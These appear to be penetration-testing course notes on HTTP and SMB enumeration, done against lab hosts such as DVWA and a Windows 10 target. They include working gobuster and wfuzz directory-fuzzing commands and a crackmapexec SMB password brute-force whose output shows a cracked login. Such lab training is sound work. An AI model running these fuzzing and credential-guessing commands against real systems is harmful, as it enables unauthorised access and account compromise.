

HTTP Enumeration

hyper text transfer protocol "web protocol" -->

port 80 clear text version

hyper text transfer protocol secure "web protocol"

--> port 443 encrypted version

client - server

browser --> request ---> web server

web server --> response --> browser

web server types

- apache linux
- iis windows
- NGINX

fuzzing "files/dirs"

wordlist --> commonly used files and dirs <<<<<<

start fuzzing

req file --> status code 200 "done"

req file --> status code 300 "done"

req file --> status code 400 "error" "not found"

tools for fuzzing

- wfuzz "done" --> python
- gobuster "done" --> Go Lang

- ffuf "go" --> Go Lang

gobuster

SHELL

```
kali@kali:~$ gobuster fuzz -u  
http://192.168.61.10/dvwa/FUZZ/ -w  
/usr/share/wordlists/seclists/SecLists-  
master/Discovery/Web-Content/raft-large-  
directories.txt -b  
400,401,402,403,404,500,501,502  
  
FUZZ/ --> dirs  
FUZZ --> files
```

```
kali@kali:~$ wfuzz -c -z  
file,/usr/share/wordlists/seclists/SecLists-  
master/Discovery/Web-Content/raft-large-  
files.txt --hc 404,403,402,401,500,503,502  
http://192.168.61.10/dvwa/FUZZ
```

```
kali@kali:~$ wfuzz -c -z  
file,/usr/share/wordlists/seclists/Discovery/Web  
-Content/raft-large-directories.txt --hc  
400,401,402,403,404,501,502,503,504,505  
http://192.168.61.17/dvwa/FUZZ/
```

```
kali@kali:~$ wfuzz -c -z  
file,/usr/share/wordlists/seclists/Discovery/Web  
-Content/raft-large-files.txt --hc  
400,401,402,403,404,501,502,503,504,505  
http://192.168.61.16/dvwa/FUZZ
```

http protocol

status code : - 2xx "ok" , 3xx "redirect" , 4xx
"client error" , 5xx "server error"

SMB Enumeration

SMB Protocol windows protocol using in file sharing
port 445 smb

server "smb server" "share"

smb client request data "smb client"

- misconfiguration
- smb version "out dated" "vulnerable" >>> exploit
- smb require password >>> brute forcing

kali linux , windows 10

kali --> attacker machine

windows 10 --> victim "target machine"

tool --> enumeration - connect smb server -
interact

CrackMapExec - SMBMap

nano /usr/share/wordlists/seclists/Usernames/top-
usernames-shortlist.txt --> add username

nano

/usr/share/wordlists/seclists/Passwords/darkweb2017-
top10000.txt --> password

└─(kali㉿kali)-[~]

└─\$ crackmapexec smb 192.168.61.16 -u

/usr/share/wordlists/seclists/Usernames/top-

```
usernames-shortlist.txt -p
/usr/share/wordlists/seclists/Passwords/darkweb2017
-top10000.txt
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [*] Windows
10 / Server 2019 Build 18362 x64 (name:DESKTOP-
6U7IKI2) (domain:DESKTOP-6U7IKI2) (signing:False)
(SMBv1:False)
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:123456 STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:123456789 STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:111111 STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:password STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:qwerty STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:abc123 STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [-] DESKTOP-
6U7IKI2\pt:12345678 STATUS_LOGON_FAILURE
SMB 192.168.61.16 445 DESKTOP-6U7IKI2 [+] DESKTOP-
6U7IKI2\pt:123
```

Exploitation

```
[-] manual exploitation --> exploit code - read -
edit - execute exploit vuln >> access
```

```
[-] automed exploitation --> metasploit "exploit  
kit"
```